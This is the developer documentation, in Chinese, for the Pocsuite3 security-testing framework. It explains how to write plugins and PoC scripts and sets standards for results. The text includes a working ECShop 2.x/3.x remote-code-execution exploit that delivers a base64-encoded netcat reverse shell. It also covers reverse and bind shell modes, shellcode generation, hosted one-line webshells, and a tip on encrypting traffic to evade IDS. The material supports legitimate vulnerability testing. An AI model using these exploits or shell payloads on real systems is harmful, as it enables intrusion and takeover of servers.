Pocsuite3 开发文档及 PoC 编写规范及要求说明
概述
本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明,包含了插件、PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试,在阅读本文档前,请先阅读 《Pocsuite3 使用文档》。或参考 https://paper.seebug.org/904/ 查看 Pocsuite3 的一些新特性。
插件编写规范
Pocsuite3 共有三种类型的插件,定义在 pocsuite3.lib.core.enums.PLUGIN_TYPE
中。
TARGETS 类型插件
TARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能,例如从 redis 或数据库加载 targets
from pocsuite3.api import PluginBase
from pocsuite3.api import PLUGIN_TYPE
from pocsuite3.api import logger
from pocsuite3.api import register_plugin
class TargetPluginDemo(PluginBase):
category = PLUGIN_TYPE.TARGETS
def init(self):
targets = ['www.a.com', 'www.b.com'] # load from redis, database ...
count = 0
for target in targets:
if self.add_target(target):
count += 1
info_msg = "[PLUGIN] get {0} target(s) from demo".format(count)
logger.info(info_msg)
register_plugin(TargetPluginDemo)
POCS 类型插件
POCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能,例如从 redis 或数据库加载 PoC 脚本代码
from pocsuite3.api import PluginBase
from pocsuite3.api import PLUGIN_TYPE
from pocsuite3.api import logger
from pocsuite3.api import register_plugin
class TargetPluginDemo(PluginBase):
category = PLUGIN_TYPE.POCS
def init(self):
pocs = [POC_CODE_1, POC_CODE_2] # load PoC code from redis, database ...
count = 0
for poc in pocs:
if poc and self.add_poc(poc):
count += 1
info_msg = "[PLUGIN] get {0} poc(s) from demo".format(count)
logger.info(info_msg)
register_plugin(TargetPluginDemo)
RESULTS 类型插件
RESULTS 类型插件用来自定义检测结果的导出,例如导出 html 报表等
from pocsuite3.api import PluginBase
from pocsuite3.api import PLUGIN_TYPE
from pocsuite3.api import logger
from pocsuite3.api import get_results
from pocsuite3.api import register_plugin
class HtmlReport(PluginBase):
category = PLUGIN_TYPE.RESULTS
def init(self):
debug_msg = "[PLUGIN] html_report plugin init..."
logger.debug(debug_msg)
def start(self):
# TODO
# Generate html report
for result in get_results():
pass
info_msg = '[PLUGIN] generate html report done.'
logger.info(info_msg)
register_plugin(HtmlReport)
若需要实时的保存结果,需要申明 handle
来处理,可参考 https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py 的写法。
PoC 编写规范
PoC python 脚本编写步骤
本小节介绍 PoC python 脚本编写
Pocsuite3 仅支持 Python 3.x,如若编写 Python3 格式的 PoC,需要开发者具备一定的 Python3 基础
-
首先新建一个
.py
文件,文件名应当符合 《PoC 命名规范》 -
编写 PoC 实现类
DemoPOC
,继承自PoCBase
类.
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
...
- 填写 PoC 信息字段,请认真填写所有基本信息字段
vulID = '99335' # Seebug 漏洞收录ID,如果没有则为0 version = '1' # PoC 的版本,默认为1 author = 'seebug' # PoC 的作者 vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d) createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d) updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d) references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址,0day 不用写 name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> <cve编号> appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址 appName = 'FortiWeb' # 漏洞应用名称 appVersion = '<=6.4.0' # 漏洞影响版本 vulType = 'Code Execution' # 漏洞类型,参见漏洞类型规范表 desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述 samples = ['http://192.168.1.1'] # 测试样列,就是用 PoC 测试成功的目标 install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 pocDesc = ''' poc的用法描述 ''' dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。 suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则 suricata_response = '' # 响应流量 suricata 规则
- 编写验证模式
def _verify(self):
output = Output(self)
# 验证代码
if result: # result是返回结果
output.success(result)
else:
output.fail('target is not vulnerable')
return output
- 编写攻击模式
攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作,定义它的方法与检测模式类似
def _attack(self):
output = Output(self)
result = {}
# 攻击代码
和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量
注意:如果该 PoC 没有攻击模式,可以在 _attack() 函数下加入一句 return self._verify() 这样你就无需再写 _attack 函数了。
- 编写shell模式 [new]
Pocsuite3 在 shell 模式会默认监听 6666
端口,编写对应的攻击代码,让目标执行反向连接运行 Pocsuite3 系统 IP 的 6666
端口即可得到一个 shell
def _shell(self):
cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
# 攻击代码 execute cmd
shell 模式下,只能运行单个 PoC 脚本,控制台会进入 shell 交互模式执行命令及输出
从 1.8.5 版本开始,Pocsuite3 支持 bind shell。shell 模式和原来的操作方式一致,也需要指定监听 ip 和端口,监听 ip 可以是本地任意 ip,也可以是远程 vps ip。
bind shell 的实现位于 ./pocsuite3/modules/listener/bind_tcp.py
,原理是实现了一个中间层,一端连接漏洞目标的 bind shell(如 telnet 服务、nc 启动的 shell、php 一句话等),另一端连接用户指定的监听 ip 和端口,如此一来,shell 模式可以不受网络环境限制,支持在内网使用。
目前支持三种 bind shell,使用场景如下:
bind_shell
:通用方法,在 shell 模式中直接调用 return bind_shell(self, rce_func)
即可,非常便捷。针对有回显的漏洞,在 PoC 中实现一个 rce(函数名可自定义)方法,函数参数为命令输入,输出为命令输出。如果漏洞无回显,也可以通过写一句话转为有回显的。值得一提的是,用户也可以在 rce 方法中实现流量的加解密以逃避 IDS 检测。
bind_tcp_shell
:对 tcp 绑定型 shell 的原生支持,在 shell 模式中 return bind_tcp_shell(bind_shell_ip, bind_shell_port)
bind_telnet_shell
:对 telnet 服务的原生支持,在 shell 模式中 return bind_telnet_shell(ip, port, username, password)
从 1.8.6 版本开始,Pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令(也可以用代码反弹),并且在运行时指定 --tls
选项。
- 结果返回
不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写,result 各字段意义请参见《PoC 结果返回规范》
'Result':{
'DBInfo' : {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx' , 'Uid':'xxx' , 'Groupid':'xxx'},
'ShellInfo': {'URL': 'xxx', 'Content': 'xxx' },
'FileInfo': {'Filename':'xxx','Content':'xxx'},
'XSSInfo': {'URL':'xxx','Payload':'xxx'},
'AdminInfo': {'Uid':'xxx' , 'Username':'xxx' , 'Password':'xxx' }
'Database': {'Hostname':'xxx', 'Username':'xxx', 'Password':'xxx', 'DBname':'xxx'},
'VerifyInfo':{'URL': 'xxx' , 'Postdata':'xxx' , 'Path':'xxx'}
'SiteAttr': {'Process':'xxx'}
'Stdout': 'result output string'
}
output 为 Pocsuite3 标准输出 API,如果要输出调用成功信息则使用 output.success(result)
,如果要输出调用失败则 output.fail()
,系统自动捕获异常,不需要 PoC 里处理捕获,如果 PoC 里使用 try…except 来捕获异常,可通过output.error('Error Message')
来传递异常内容,建议直接使用模板中的 parse_output 通用结果处理函数对 _verify 和 _attack 结果进行处理。
def _verify(self, verify=True):
result = {}
...
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail()
return output
- 注册 PoC 实现类
在类的外部调用 register_poc() 方法注册 PoC 类
class DemoPOC(POCBase):
# POC内部代码
# 注册 DemoPOC 类
register_poc(DemoPOC)
可自定义参数的 PoC
如果你需要编写一个可以交互参数的 PoC 文件(例如有的 PoC 脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在 PoC 文件中声明一个 _options
方法。一个简单的例子如下:
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString
class DemoPOC(POCBase):
vulID = '0' # ssvid
version = '1.0'
author = ['seebug']
vulDate = '2019-2-26'
createDate = '2019-2-26'
updateDate = '2019-2-25'
references = ['']
name = '自定义命令参数登录例子'
appPowerLink = 'http://www.knownsec.com/'
appName = 'test'
appVersion = 'test'
vulType = VUL_TYPE.XSS
desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
return o
def _verify(self):
result = {}
payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
r = requests.post(self.url, data=payload)
if r.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Postdata'] = payload
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
它可以使你在 console
或者 cli
模式下调用。
- 在 console 模式下,Pocsuite3 模仿了 msf 的操作模式,你只需要使用
set
命令来设置相应的参数,然后run
或者check
来执行(attack
和shell
命令也可以)。 - 在 cli 模式下,如上面例子所示,定义了
username
和password
两个字段,你可以在参数后面加上--username test --password test
来调用执行,需要注意的是,如果你的参数中包含了空格,用双引号"
来包裹它。
自定义字段
像其他工具一样,如果你想使用自定义的字段,将它定义到 _options
方法中,然后返回一个数组。如果在 PoC 文件中想调用自定义字段,需要提前引入:
from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems
字段类型 | 字段描述 | 参数解释 | 相关例子 |
---|---|---|---|
OptString | 接收字符串类型参数 | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptDict | 接收一个字典类型参数,在选择上如果选择key,调用时会调用对应的value | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptIP | 接收IP类型的字符串 | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptPort | 接收端口类型参数 | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptBool | 接收布尔类型参数 | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptInteger | 接收整数类型参数 | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptFloat | 接收浮点数类型参数 | default: 传入一个默认值 descript: 字段描述,默认为空 require: 是否必须,默认False |
|
OptItems | 接收list类型参数 | default: 传入一个默认值 selectd: 默认选择 descript: 字段描述,默认为空 require: 是否必须,默认False |
需要注意的是,console
模式支持所有的参数类型,cli
模式除了OptDict
、OptBool
、OptItems
类型外都支持。
PoC 编写注意事项
- 要求在编写 PoC 的时候,尽量的不要使用第三方模块,如果在无法避免的情况下,请认真填写 install_requires 字段,填写格式参考《PoC 第三方模块依赖说明》。
- 要求编写 PoC 的时候,尽量的使用 Pocsuite3 已经封装的 API 提供的方法,避免自己重复造轮子,对于一些通用方法可以加入到 API,具体参考《通用 API 列表》。
- 如果 PoC 需要包含远程文件等,统一使用 Pocsuite3 远程调用文件,具体可以参考《Pocsuite3 远程调用文件列表》,不要引入第三方文件,如果缺少对应文件,联系管理员添加。
- 要求每个 PoC 在编写的时候,尽可能的不要要求输入参数,这样定制化过高,不利于 PoC 的批量化调度执行,尽可能的 PoC 内部实现参数的构造,至少应该设置默认值,如某个 PoC 需要指定用户id,那么应该允许使用 extar_param 传入 id,也应该没有传入该参数的时候自动设置默认值,不应该影响 PoC 的正常运行与验证。
- 要求每个 PoC 在输出结果的时候,尽可能的在不破坏的同时输出取证信息,如输出进程列表,具体参考《PoC 结果返回规范》。
- 要求认真填写 PoC 信息字段,其中 vulID 请填写 Seebug 上的漏洞 ID(不包含 SSV-)。
- 为了防止误报产生以及避免被关键词被 WAF 等作为检测特征,要求验证结果判断的时候输出随机的字符串(可以调用 API 中的
random_str
方法),而不用采用固定字符串。 比如:
检测 SQL 注入时:
token = random_str()
payload = 'select md5(%s)' % token
...
if hashlib.new('md5', token).hexdigest() in content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
检测 XSS 漏洞时:
# 可参考 https://paper.seebug.org/1119/
token = random_str()
payload = 'alert("%s")' % token
...
if payload in content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
检测 PHP 文件上传是否成功:
token = random_str()
payload = '<?php echo md5("%s");unlink(__FILE__);?>' % token
...
if hashlib.new('md5', token).hexdigest() in content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
- 任意文件如果需要知道网站路径才能读取文件的话,可以读取系统文件进行验证,要写 Windows 版和 Linux 版两个版本。
- 检测模式下,上传的文件一定要删掉。
- 程序可以通过某些方法获取表前缀,just do it;若不行,保持默认表前缀。
- PoC 编写好后,务必进行测试,测试规则为:5 个不受漏洞影响的网站,确保 PoC 攻击不成功;5 个受漏洞影响的网站,确保 PoC 攻击成功
Pocsuite3 远程调用文件列表
部分 PoC 需要采用包含远程文件的形式,要求基于 Pocsuite3 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件,请联系 404-team@knownsec.com 或者直接提交 issue)。
统一 URL 调用路径:https://pocsuite.org/include_files/
,如 https://pocsuite.org/include_files/xxe_verify.xml
文件列表
文件名 | 说明 |
---|---|
a.jsp | 一个通用简单的 JSP 一句话 Shell,攻击模式 |
b.jsp | 一个通用简单的 JSP 一句话 Shell,验证模式 |
php_attack.txt | PHP 一句话 |
php_verify.txt | PHP 打印 md5 值 |
xxe_verify.xml | XXE 验证文件 |
通用 API 列表
在编写 PoC 的时候,相关方法请尽量调用通用的已封装的 API
通用方法
方法 | 说明 |
---|---|
from pocsuite3.api import logger | 日志记录,比如logger.log(info) |
from pocsuite3.api import requests | 请求类,用法同 requests |
from pocsuite3.api import Seebug | Seebug api 调用 |
from pocsuite3.api import ZoomEye | ZoomEye api 调用 |
from pocsuite3.api import CEye | Ceye api 调用 |
from pocsuite3.api import crawl | 简单爬虫功能 |
from pocsuite3.api import PHTTPServer | Http服务功能 |
from pocsuite3.api import REVERSE_PAYLOAD | 反向连接shell payload |
from pocsuite3.api import get_results | 获取结果 |
参数调用
- self.headers 用来获取 http 请求头, 可以通过 –cookie, –referer,–user-agent,–headers 来修改和增加需要的部分
- self.params 用来获取 –extra-params 赋值的变量,Pocsuite3 会自动转化成字典格式,未赋值时为空字典
- self.url 用来获取 -u / –url 赋值的 URL,如果之前赋值是 baidu.com 这样没有协议的格式时, Pocsuite3 会自动转换成 http://baidu.com
ShellCode 生成支持
在一些特殊的 Linux 和 Windows 环境下,想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86 x64 环境下的用于反弹的 shellcode,并制作了接口支持,你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。Demo Poc:https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py
from pocsuite3.api import generate_shellcode_list
_list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86)
将生成一长串执行指令,执行这些指令便可以反弹出一个 shell。
HTTP 服务内置
对于一些需要第三方 HTTP 服务才能验证的漏洞,Pocsuite3 也提供对应的API,支持在本地开启一个 HTTP 服务方便进行验证。
可查看测试用例:https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py
PoC 代码示例
PoC Python 代码示例
Ecshop 2.x/3.x Remote Code Execution PoC:
import base64
from urllib.parse import urljoin
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
from requests.exceptions import ReadTimeout
class DemoPOC(POCBase):
vulID = '97343' # ssvid
version = '3.0'
author = ['seebug']
vulDate = '2018-06-14'
createDate = '2018-06-14'
updateDate = '2018-06-14'
references = ['https://www.seebug.org/vuldb/ssvid-97343']
name = 'Ecshop 2.x/3.x Remote Code Execution'
appPowerLink = ''
appName = 'ECSHOP'
appVersion = '2.x,3.x'
vulType = 'Romote Code Execution'
desc = '''
'''
samples = []
install_requires = ['']
def _verify(self):
result = {}
path = "user.php?act=login"
url = urljoin(self.url, path)
echashs = [
'554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash
'45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash
]
for echash in echashs:
payload = ('{0}ads|a:2:{0}').format(echash)
headers = {"Referer": payload}
try:
resp = requests.get(url, headers=headers)
if resp and resp.status_code == 200 and "<title>phpinfo()</title>" in resp.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Referer'] = payload
break
except Exception as ex:
pass
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attack(self):
return self._verify()
def _shell(self):
path = "user.php"
url = urljoin(self.url, path)
echashs = [
'554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash
'45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash
]
cmd = REVERSE_PAYLOAD.NC.format(get_listener_ip(), get_listener_port())
phpcode = 'passthru("{0}");'.format(cmd)
encoded_code = base64.b64encode(phpcode.encode())
postdata = {
'action': 'login',
'vulnspy': 'eval/**/(base64_decode({0}));exit;'.format(encoded_code.decode()),
'rnd': random_str(10)
}
for echash in echashs:
payload = '{0}ads|a:3:{1}'.format(echash, echash)
headers = {"Referer": payload}
try:
resp = requests.post(url, data=postdata, headers=headers)
if resp and resp.status_code == 200 and "<title>phpinfo()</title>" in resp.text:
break
except ReadTimeout:
break
except Exception as ex:
pass
register_poc(DemoPOC)
HttpServer Demo:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit https://pocsuite.org
"""
from http.server import SimpleHTTPRequestHandler
from pocsuite3.api import Output, POCBase, register_poc
from pocsuite3.api import PHTTPServer
class MyRequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
path = self.path
status = 404
count = 0
xxe_dtd = '''xxx'''
if path == "/xxe_dtd":
count = len(xxe_dtd)
status = 200
self.send_response(status)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', '{}'.format(count))
self.end_headers()
self.wfile.write(xxe_dtd.encode())
return
self.send_response(status)
self.send_header('Content-Type', 'text/html')
self.send_header("Content-Length", "{}".format(count))
self.end_headers()
def do_HEAD(self):
status = 404
if self.path.endswith('jar'):
status = 200
self.send_response(status)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", "0")
self.end_headers()
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
author = ['seebug']
vulDate = '2018-03-08'
createDate = '2018-04-12'
updateDate = '2018-04-13'
references = ['']
name = ''
appPowerLink = ''
appName = ''
appVersion = ''
vulType = ''
desc = '''
'''
samples = []
install_requires = ['']
def _verify(self):
result = {}
'''Simple http server demo
default params:
bind_ip='0.0.0.0'
bind_port=666
is_ipv6=False
use_https=False
certfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem')
requestHandler=BaseRequestHandler
You can write your own handler, default list current directory
'''
httpd = PHTTPServer(requestHandler=MyRequestHandler)
httpd.start()
# Write your code
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
_attack = _verify
register_poc(DemoPOC)
Pocsuite3 集成调用
Pocsuite3 api 提供了集成调用 pocsuite3
的全部功能函数,可参见测试用例 tests/test_import_pocsuite_execute.py
。典型的集成调用方法如下:
from pocsuite3.api import init_pocsuite
from pocsuite3.api import start_pocsuite
from pocsuite3.api import get_results
def run_pocsuite():
# config 配置可参见命令行参数, 用于初始化 pocsuite3.lib.core.data.conf
config = {
'url': ['http://127.0.0.1:8080', 'http://127.0.0.1:21'],
'poc': ['ecshop_rce', 'ftp_burst']
}
init_pocsuite(config)
start_pocsuite()
result = get_results()
PoC 规范说明
PoC 编号说明
PoC 编号 ID 与漏洞 ID 一致.
示例,漏洞库中的漏洞统一采用 “SSV-xxx” 编号的方式,则 PoC 编号为 xxx
PoC 命名规范
PoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成 _
文件名不能有特殊字符和大写字母,最后出来的文件名应该像这样:
_1847_seeyon_3_1_login_info_disclosure.py
PoC 第三方模块依赖说明
PoC 编写的时候要求尽量不要使用第三方模块,如果必要使用,请在 PoC 的基础信息部分,增加 install_requires 字段,按照以下格式填写依赖的模块名:
install_requires =[str_item_, str_item, …] # 整个字段的值为 list,每个项为一个依赖模块
str_item 格式:模块名==版本号,模块名为 pip install 安装时的模块名(请不要填写 import 的模块名)
如果遇到安装时模块名与调用时的不一致情况,用 :
分割开,例如常见的加密算法库 pycryptodome
,但是调用是以 from Crypto.Cipher import AES
,此时就需要如下填写:
install_requires = ['pycryptodome:Crypto']
PoC 结果返回规范
result 为 PoC 返回的结果数据类型,result 返回值要求返回完整的一项,暂不符合 result 字段的情况,放入 extra 字段中,此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞,若果步骤复杂,在取证信息中说明。例如:
# 返回数据库管理员密码
result['DBInfo']['Password']='xxxxx'
# 返回 Webshell 地址
result['ShellInfo']['URL'] = 'xxxxx'
# 返回网站管理员用户名
result['AdminInfo']['Username']='xxxxx'
extra 字段说明 extra 字段为通用结果字段的补充字段,如果需要返回的内容中不属于通用结果字段,那么可以使用 extra 字段进行赋值。extra 字段为 dict 格式,可自定义 key 进行赋值,如:
result['extra' ]['field'] = 'aa'
特殊字段: evidence,针对结果中返回取证信息,定义字段名只允许为 evidence,并且只能存储于 extar 字段,即:
result['extra' ]['evidence'] = 'aa'
通用字段说明
result:[
{ name: 'DBInfo', value:'数据库内容' },
{ name: 'Username', value: '管理员用户名'},
{ name: 'Password', value:'管理员密码' },
{ name: 'Salt', value: '加密盐值'},
{ name: 'Uid', value: '用户ID'},
{ name: 'Groupid', value: '用户组ID'},
{ name: 'ShellInfo', value: 'Webshell信息'},
{ name: 'URL', value: 'Webshell地址'},
{ name: 'Content', value: 'Webshell内容'},
{ name: 'FileInfo', value: '文件信息'},
{ name: 'Filename', value: '文件名称'},
{ name: 'Content', value: '文件内容'},
{ name: 'XSSInfo', value: '跨站脚本信息'},
{ name: 'URL', value: '验证URL'},
{ name: 'Payload', value: '验证Payload'},
{ name: 'AdminInfo', value: '管理员信息'},
{ name: 'Uid', value: '管理员ID'},
{ name: 'Username', value: '管理员用户名'},
{ name: 'Password', value: '管理员密码'},
{ name: 'Database', value:'数据库信息' },
{ name: 'Hostname', value: '数据库主机名'},
{ name: 'Username', value:'数据库用户名' },
{ name: 'Password', value: '数据库密码'},
{ name: 'DBname', value: '数据库名'},
{ name: 'VerifyInfo', value: '验证信息'},
{ name: 'Target', value: '验证host:port'},
{ name: 'URL', value: '验证URL'},
{ name: 'Postdata', value: '验证POST数据'},
{ name: 'Path', value: '网站绝对路径'},
{ name: 'SiteAttr', value: '网站服务器信息'},
{ name: 'Process', value: '服务器进程'}
]
漏洞类型规范
英文名称 | 中文名称 | 缩写 |
Cross Site Scripting | 跨站脚本 | xss |
Cross Site Request Forgery | 跨站请求伪造 | csrf |
SQL Injection | Sql注入 | sql-inj |
LDAP Injection | ldap注入 | ldap-inj |
Mail Command Injection | 邮件命令注入 | smtp-inj |
Null Byte Injection | 空字节注入 | null-byte-inj |
CRLF Injection | CRLF注入 | crlf-inj |
SSI Injection | Ssi注入 | ssi-inj |
XPath Injection | Xpath注入 | xpath-inj |
XML Injection | Xml注入 | xml-inj |
XQuery Injection | Xquery 注入 | xquery-inj |
Command Execution | 命令执行 | cmd-exec |
Code Execution | 代码执行 | code-exec |
Remote File Inclusion | 远程文件包含 | rfi |
Local File Inclusion | 本地文件包含 | lfi |
Abuse of Functionality | 功能函数滥用 | func-abuse |
Brute Force | 暴力破解 | brute-force |
Buffer Overflow | 缓冲区溢出 | buffer-overflow |
Content Spoofing | 内容欺骗 | spoofing |
Credential Prediction | 证书预测 | credential-prediction |
Session Prediction | 会话预测 | session-prediction |
Denial of Service | 拒绝服务 | dos |
Fingerprinting | 指纹识别 | finger |
Format String | 格式化字符串 | format-string |
HTTP Response Smuggling | http响应伪造 | http-response-smuggling |
HTTP Response Splitting | http响应拆分 | http-response-splitting |
HTTP Request Splitting | http请求拆分 | http-request-splitting |
HTTP Request Smuggling | http请求伪造 | http-request-smuggling |
HTTP Parameter Pollution | http参数污染 | hpp |
Integer Overflows | 整数溢出 | int-overflow |
Predictable Resource Location | 可预测资源定位 | res-location |
Session Fixation | 会话固定 | session-fixation |
URL Redirector Abuse | url重定向 | redirect |
Privilege Escalation | 权限提升 | privilege-escalation |
Resolve Error | 解析错误 | resolve-error |
Arbitrary File Creation | 任意文件创建 | file-creation |
Arbitrary File Download | 任意文件下载 | file-download |
Arbitrary File Deletion | 任意文件删除 | file-deletion |
Arbitrary File Read | 任意文件读取 | file-read |
Backup File Found | 备份文件发现 | bak-file-found |
Database Found | 数据库发现 | db-found |
Directory Listing | 目录遍历 | dir-listing |
Directory Traversal | 目录穿越 | dir-traversal |
File Upload | 文件上传 | file-upload |
Login Bypass | 登录绕过 | login-bypass |
Weak Password | 弱密码 | weak-pass |
Remote Password Change | 远程密码修改 | remote-pass-change |
Code Disclosure | 代码泄漏 | code-disclosure |
Path Disclosure | 路径泄漏 | path-disclosure |
Information Disclosure | 信息泄漏 | info-disclosure |
Security Mode Bypass | 安全模式绕过 | sec-bypass |
Malware | 挂马 | mal |
Black Link | 暗链 | black-link |
Backdoor | 后门 | backdoor |
Insecure Cookie Handling | 不安全的Cookie | insecure-cookie-handling |
Shellcode | Shellcode | shellcode |
Variable Coverage | 变量覆盖 | variable-coverage |
Injecting Malware Codes | 恶意代码注入 | injecting-malware-codes |
Upload Files | 文件上传 | upload-files |
Local Overflow | 本地溢出 | local-overflow |
Path Traversal | 目录穿越 | path-traversal |
Unauthorized Access | 未授权访问 | unauth-access |
Remote Overflow | 远程溢出 | remote-overflow |
Man-in-the-middle | 中间人攻击 | mitm |
Out of Memory | 内存溢出 | out-of-memory |
Buffer Over-read | 缓冲区越界读 | buffer-over-read |
Backup File Found | 备份文件泄漏 | backup-file-found |
Use After Free | 释放后使用 | uaf |
DNS Hijacking | DNS劫持 | dns-hijacking |
Improper Input Validation | 不正确的输入校验 | improper-input-validation |
Universal Cross-site Scripting | 通用型XSS | uxss |
Server-Side Request Forgery | 服务器端请求伪造 | ssrf |
Other | 其他 | other |
也可以参见漏洞类型规范